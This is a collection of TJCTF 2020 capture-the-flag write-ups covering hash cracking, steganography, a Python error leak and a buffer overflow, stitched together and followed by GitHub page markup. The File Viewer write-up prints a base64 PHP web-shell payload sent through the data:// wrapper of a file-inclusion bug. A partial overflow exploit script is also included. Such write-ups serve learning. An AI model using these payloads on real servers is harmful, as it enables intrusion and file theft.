this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
# Timed

When you connect to the server, you are able to execute python commands, and it tells you how long it took to execute that command.
```$ nc p1.tjctf.org 8005Type a command to time it!5 + 5Runtime: 3.09944152832e-06
Type a command to time it!2 ** 100Runtime: 9.53674316406e-07
Type a command to time it!```
I assumed the flag would be in `flag.txt`
You aren't able to print to the screen, as that would be too easy.
```Type a command to time it!print("asdf")Runtime: 1.00135803223e-05
Type a command to time it!```
Then I thought because the title was called Timed, we can loop through each character of the flag and wait `ord(char)` seconds. That way, we can find each char by looking at how much time it took to execute each instruction. I spent some time trying that. I won't bore you about exactly what I did, in the end it failed.
I then remembered that you can throw your own errors by using Python's `raise`. Turns out, that's the solution!
```pythonraise ValueError(open('flag.txt','r').read(100))```
```$ nc p1.tjctf.org 8005Type a command to time it!raise ValueError(open('flag.txt','r').read(100))Traceback (most recent call last): File "/timed.py", line 36, in <module> time1=t.timeit(1) File "/usr/lib/python2.7/timeit.py", line 202, in timeit timing = self.inner(it, self.timer) File "<timeit-src>", line 6, in inner raise ValueError(open('flag.txt','r').read(100))ValueError: tjctf{iTs_T1m3_f0r_a_flaggg}
Runtime: 0
Type a command to time it!```
Flag: `tjctf{iTs_T1m3_f0r_a_flaggg}` |
# Is This Crypto
## DeskripsiIs this crypto?
## Flag```tjctf{n0_th15_is_kyl3}```
## Solusi Berbekal dari deskripsi nya dimana kita dijelaskan mengenai apakah ini merupakan crypto maka setelah mencoba beberapa kali secara manual maka di dapat kata pertama adalah cryptography. Setelah itu kita perlu melihat huruf lainnya dan kita juga perlu untuk paham mengenai bahasa inggris dan jika kita selesai melakukan perubahan nama file maka kita bisa menemukan flag nya terletak di tengah tengah kalimat yang panjang.
```cryptography is a discipline that has been around for quite a long timed but in recent times it has seen an explosion of research and implementation¿ this discipline seeks to provide secure communication and shared data storage using public key cryptographyd which essentially reduces the damage that can be done through encryption¿››tjctf{n0_th15_is_kyl3}››the data centre standard for confidentiality and integrity states that a computer system must not contain any information that cannot be provided at the time of requesting it¿ the purpose of this standard is to ensure that no data from a connected computer system can be accessed by an unauthorised party¿ this would allow users to protect their data and make their personal information secured which is more important than ever¿`````` |
The code contains the first part of the flag, level0 file contains the third part and winning the game(obviously cheating) contains the second part, read the writeup for details and alternatives to take the flag.
|
# Tap Dancing

We are given this [strange cipher](cipher.txt). There are a bunch of numbers ranging from 0 to 2.
Someone gave me a hint that it's similar to [tap code](https://www.braingle.com/brainteasers/codes/tapcode.php). My first guess was that it was morse code. I was too lazy to do it by hand, so I made a simple [python script](sol.py) to change the zeroes, ones, and twos to spaces, dashes, and dots.
```pythonmorse = '1101111102120222020120111110101222022221022202022211'
morse = morse.replace('0', ' ')morse = morse.replace('1', '-')morse = morse.replace('2', '.')
print(morse)```
```$ py sol.py-- ----- .-. ... . -. ----- - -... ....- ... . ...--```
All you have to do now is look up a morse code to text converter and input the morse code to get the flag!
Flag: `m0rsen0tb4se3` |
# Titanic## 35 points - Writeup by Ana :)
This challenge presents us with the following description:
`I wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.`
Instantly we can see that the flag will look something like `tjctf{interesting}`, and we have to create a wordlist from the script of Titanic, which we then bruteforce until we find the matching hash.
I tried to script minimally for this challenge as this was at the very start of the CTF (and I am lazy), so I copied all of http://sites.inka.de/humpty/titanic/script.html into https://convertcase.net/ and shifted it into lowercase.
Then, I pasted the output from that into https://www.ipvoid.com/remove-punctuation/, and removed full stops, commas and colons. Anything that wasn't a hyphen or apostrophe seemed deletable to me, as those could form a part of a word and sure enough, the flag did contain an apostrophe.
Next, I used https://texthandler.com/text-tools/remove-double-spaces/ to remove any double spaces, and finally I used https://www.browserling.com/tools/spaces-to-newlines to get my final output. I then saved this to a file which I named `wordlist.txt`. However, this isn't all ready for cracking yet - I then used the following Python script in order to quickly wrap each word on each newline in `tjctf{}` so that I could then crack the hashes properly. Here's the script I used:
```pythonwith open('wordlist.txt', 'r') as f: content = f.readlines() with open('output.txt', 'w')as o: for x in content: o.write('tjctf{' + x.strip() + '}\n')```
Finally, after saving the hash into `hash.md5`, we can simply run it through john using `john hash.md5 -w=./output.txt --format=Raw-md5`We then crack the hash to get the flag - `tjctf{ismay's}` |
# TJCTF 2020
## Tinder (binary)
### Solution Summary
Overwrite variable with expected value to get into conditional statement that print the flag.
### Walkthrough
The binary is a 32bits file with NX enabled.
```$ pwn checksec match Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```
The program read some user data and the buffer overflow happens at fourth input.
```$ ./match Welcome to TJTinder, please register to start matching!Name: blaUsername: bliPassword: blu Tinder Bio: lolo <= OVERFLOW HAPPENS HERE
Registered 'bli' to TJTinder successfully!Searching for matches...Sorry, no matches found. Try Again!```
After that, compare a local variable with `0xc0d3d00d`.
``` 0x080488e4 <+247>: cmp DWORD PTR [ebp-0xc],0xc0d3d00d 0x080488eb <+254>: jne 0x80489a8 <main+443>```
If the variable has the expected value, so jump does not happen, the program opens a file and prints the flag.
``` 0x08048949 <+348>: call 0x8048570 <fopen@plt> 0x0804894e <+353>: add esp,0x10 0x08048951 <+356>: mov DWORD PTR [ebp-0x10],eax 0x08048954 <+359>: cmp DWORD PTR [ebp-0x10],0x0 0x08048958 <+363>: jne 0x8048976 <main+393> 0x0804895a <+365>: sub esp,0xc 0x0804895d <+368>: lea eax,[ebx-0x1494] 0x08048963 <+374>: push eax 0x08048964 <+375>: call 0x8048520 <puts@plt> 0x08048969 <+380>: add esp,0x10 0x0804896c <+383>: sub esp,0xc 0x0804896f <+386>: push 0x0 0x08048971 <+388>: call 0x8048530 <exit@plt>```
The offset can be find using a pattern generator and inspecting `ebp-0xc` in a debugger.
### Exploit
```pythonimport struct
print 'A'*15print 'A'*15print 'A'*15print 'A'*116 + struct.pack(' |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>Writeups/TJCTF 2020/difficult_decryption at master · PWN-to-0xE4/Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B81E:0D35:129E008B:131E7065:64122039" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d8a4b2d42ecf0807ca7580d8bea6f529f97de6e3a297bbfae718603088c7890c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCODFFOjBEMzU6MTI5RTAwOEI6MTMxRTcwNjU6NjQxMjIwMzkiLCJ2aXNpdG9yX2lkIjoiODMxNzgyMjIyOTA2MTcwNTc4NSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="a8377188d81ba4136d7ca9b6850dca7ff2cd5b4d55dd52c432d811b9cf1859fc" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:267159226" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/dc126b761dd1dea617a40b4d0283ae213cb8c213dfb86cfb54d978427a40f25e/PWN-to-0xE4/Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Writeups/TJCTF 2020/difficult_decryption at master · PWN-to-0xE4/Writeups" /><meta name="twitter:description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/dc126b761dd1dea617a40b4d0283ae213cb8c213dfb86cfb54d978427a40f25e/PWN-to-0xE4/Writeups" /><meta property="og:image:alt" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Writeups/TJCTF 2020/difficult_decryption at master · PWN-to-0xE4/Writeups" /><meta property="og:url" content="https://github.com/PWN-to-0xE4/Writeups" /><meta property="og:description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/PWN-to-0xE4/Writeups git https://github.com/PWN-to-0xE4/Writeups.git">
<meta name="octolytics-dimension-user_id" content="65982425" /><meta name="octolytics-dimension-user_login" content="PWN-to-0xE4" /><meta name="octolytics-dimension-repository_id" content="267159226" /><meta name="octolytics-dimension-repository_nwo" content="PWN-to-0xE4/Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="267159226" /><meta name="octolytics-dimension-repository_network_root_nwo" content="PWN-to-0xE4/Writeups" />
<link rel="canonical" href="https://github.com/PWN-to-0xE4/Writeups/tree/master/TJCTF%202020/difficult_decryption" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
